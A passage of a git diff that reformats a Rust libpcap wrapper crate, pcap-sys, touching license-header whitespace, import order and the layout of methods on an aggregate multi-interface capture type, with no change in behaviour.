useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Affero General Public License for more details. -// +// // You should have received a copy of the GNU Affero General Public License // along with this program. If not, see . diff --git a/pcap-sys/src/lib.rs b/pcap-sys/src/lib.rs index 3b5078f..e725cff 100644 --- a/pcap-sys/src/lib.rs +++ b/pcap-sys/src/lib.rs @@ -1,24 +1,25 @@ // Copyright (C) 2023 Andrew Rioux -// +// // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as // published by the Free Software Foundation, either version 3 of the // License, or (at your option) any later version. -// +// // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Affero General Public License for more details. -// +// // You should have received a copy of the GNU Affero General Public License // along with this program. If not, see . use std::{ + collections::HashMap, ffi::{CStr, CString}, os::fd::{AsRawFd, RawFd}, pin::Pin, ptr, slice, - task::{self, Poll}, collections::HashMap, + task::{self, Poll}, }; pub mod error; @@ -470,9 +471,12 @@ impl futures::Stream for InterfaceStream { } } -pub fn new_aggregate_interface_filtered(crash: bool, mut f: F) -> error::Result> +pub fn new_aggregate_interface_filtered( + crash: bool, + mut f: F, +) -> error::Result> where - F: FnMut(&str) -> bool + F: FnMut(&str) -> bool, { let interfaces = if crash { PcapDevIterator::new()? @@ -500,10 +504,7 @@ where .collect::>() }; - Ok(AggregateInterface { - interfaces, - crash - }) + Ok(AggregateInterface { interfaces, crash }) } pub fn new_aggregate_interface(crash: bool) -> error::Result> { @@ -512,14 +513,13 @@ pub fn new_aggregate_interface(crash: bool) -> error::Result { interfaces: HashMap>, - crash: bool + crash: bool, } impl AggregateInterface { pub fn set_non_blocking(&mut self, nonblocking: bool) -> error::Result<()> { for (n, i) in self.interfaces.iter_mut() { - i - .set_non_blocking(nonblocking) + i.set_non_blocking(nonblocking) .map_err(|e| e.add_ifname(n))?; } @@ -571,33 +571,33 @@ impl AggregateInterface { pub fn activate(self) -> error::Result> { Ok(AggregateInterface { interfaces: if self.crash { - self.interfaces - .into_iter() - .map(|(name, interface)| { - let new_name = name.clone(); - interface - .activate() - .map(|interface| (name, interface)) - .map_err(|e| e.add_ifname(&new_name)) - }) - .collect::>()? - } else { - self.interfaces - .into_iter() - .filter_map(|(name, interface)| { - let name_clone = name.clone(); - interface - .activate() - .map(|interface| (name, interface)) - .ok() - .or_else(|| { - println!("{} failed to activate", name_clone); - None - }) - }) - .collect::<_>() - }, - crash: self.crash + self.interfaces + .into_iter() + .map(|(name, interface)| { + let new_name = name.clone(); + interface + .activate() + .map(|interface| (name, interface)) + .map_err(|e| e.add_ifname(&new_name)) + }) + .collect::>()? + } else { + self.interfaces + .into_iter() + .filter_map(|(name, interface)| { + let name_clone = name.clone(); + interface + .activate() + .map(|interface| (name, interface)) + .ok() + .or_else(|| { + println!("{} failed to activate", name_clone); + None + }) + }) + .collect::<_>() + }, + crash: self.crash, }) } } @@ -606,25 +606,18 @@ impl AggregateInterface { pub fn datalinks(&self) -> HashMap<&str, i32> { self.interfaces .iter() - .map(|(name, interface)| { - (&**name, interface.datalink()) - }) + .map(|(name, interface)| (&**name, interface.datalink())) .collect::<_>() } pub fn prune(&mut self, mut f: F) where - F: FnMut(&str, &mut Interface) -> bool + F: FnMut(&str, &mut Interface) -> bool, { - let to_prune = self.interfaces + let to_prune = self + .interfaces .iter_mut() - .filter_map(|(k,v)| { - if (f)(k, v) { - Some(k.clone()) - } else { - None - } - }) + .filter_map(|(k, v)| if (f)(k, v) { Some(k.clone()) } else { None }) .collect::>(); for name in to_prune { @@ -636,23 +629,26 @@ impl AggregateInterface { &mut self, filter: &str, optimize: bool, - mask: Option + mask: Option, ) -> error::Result>> { if self.crash { self.interfaces .iter_mut() .map(|(name, interface)| { - interface.set_filter(filter, optimize, mask) + interface + .set_filter(filter, optimize, mask) .map(|bpf| (&**name, bpf)) .map_err(|e| e.add_ifname(&name)) }) .collect::>() } else { - Ok(self.interfaces + Ok(self + .interfaces .iter_mut() .filter_map(|(name, interface)| { let name_clone = name.clone(); - interface.set_filter(filter, optimize, mask) + interface + .set_filter(filter, optimize, mask) .map(|bpf| (&**name, bpf)) .ok() .or_else(|| { @@ -666,7 +662,9 @@ impl AggregateInterface { pub fn sendpacket(&self, ifname: &str, packet: packets::EthernetPkt) -> error::Result<()> { if let Some(interface) = self.interfaces.get(ifname) { - interface.sendpacket(packet).map_err(|e| e.add_ifname(ifname))?; + interface + .sendpacket(packet) + .map_err(|e| e.add_ifname(ifname))?; } Ok(()) @@ -676,7 +674,8 @@ impl AggregateInterface { impl AggregateInterface { pub fn stream(self) -> error::Result> { Ok(AggregateInterfaceStream { - streams: self.interfaces + streams: self + .interfaces .into_iter() .map(|(ifname, interface)| { let new_name = ifname.clone(); @@ -685,13 +684,13 @@ impl AggregateInterface { .map(|stream| (ifname, stream)) .map_err(|e| e.add_ifname(&new_name)) }) - .collect::>()? + .collect::>()?, }) } } pub struct AggregateInterfaceStream { - streams: StreamMap> + streams: StreamMap>, } impl AggregateInterfaceStream { @@ -700,15 +699,9 @@ impl AggregateInterfaceStream { } pub fn sendpacket(&mut self, ifname: &str, packet: packets::EthernetPkt) -> error::Result<()> { - if let Some(interface) = self.streams - .values_mut() - .find(|interface| { - interface.inner - .get_ref() - .interface - .dev_name - .as_bytes() == ifname.as_bytes() - }) { + if let Some(interface) = self.streams.values_mut().find(|interface| { + interface.inner.get_ref().interface.dev_name.as_bytes() == ifname.as_bytes() + }) { interface.sendpacket(packet)?; } @@ -722,4 +715,4 @@ impl futures::Stream for AggregateInterfaceStream { fn poll_next(mut self: Pin<&mut Self>, cx: &mut task::Context<'_>) -> Poll> { self.streams.poll_next_unpin(cx) } -} \ No newline at end of file +} diff --git a/pcap-sys/src/packets.rs b/pcap-sys/src/packets.rs index 81a3ba5..b852316 100644 --- a/pcap-sys/src/packets.rs +++ b/pcap-sys/src/packets.rs @@ -1,15 +1,15 @@ // Copyright (C) 2023 Andrew Rioux -// +// // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as // published by the Free Software Foundation, either version 3 of the // License, or (at your option) any later version. -// +// // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Affero General Public License for more details. -// +// // You should have received a copy of the GNU Affero General Public License // along with this program. If not, see .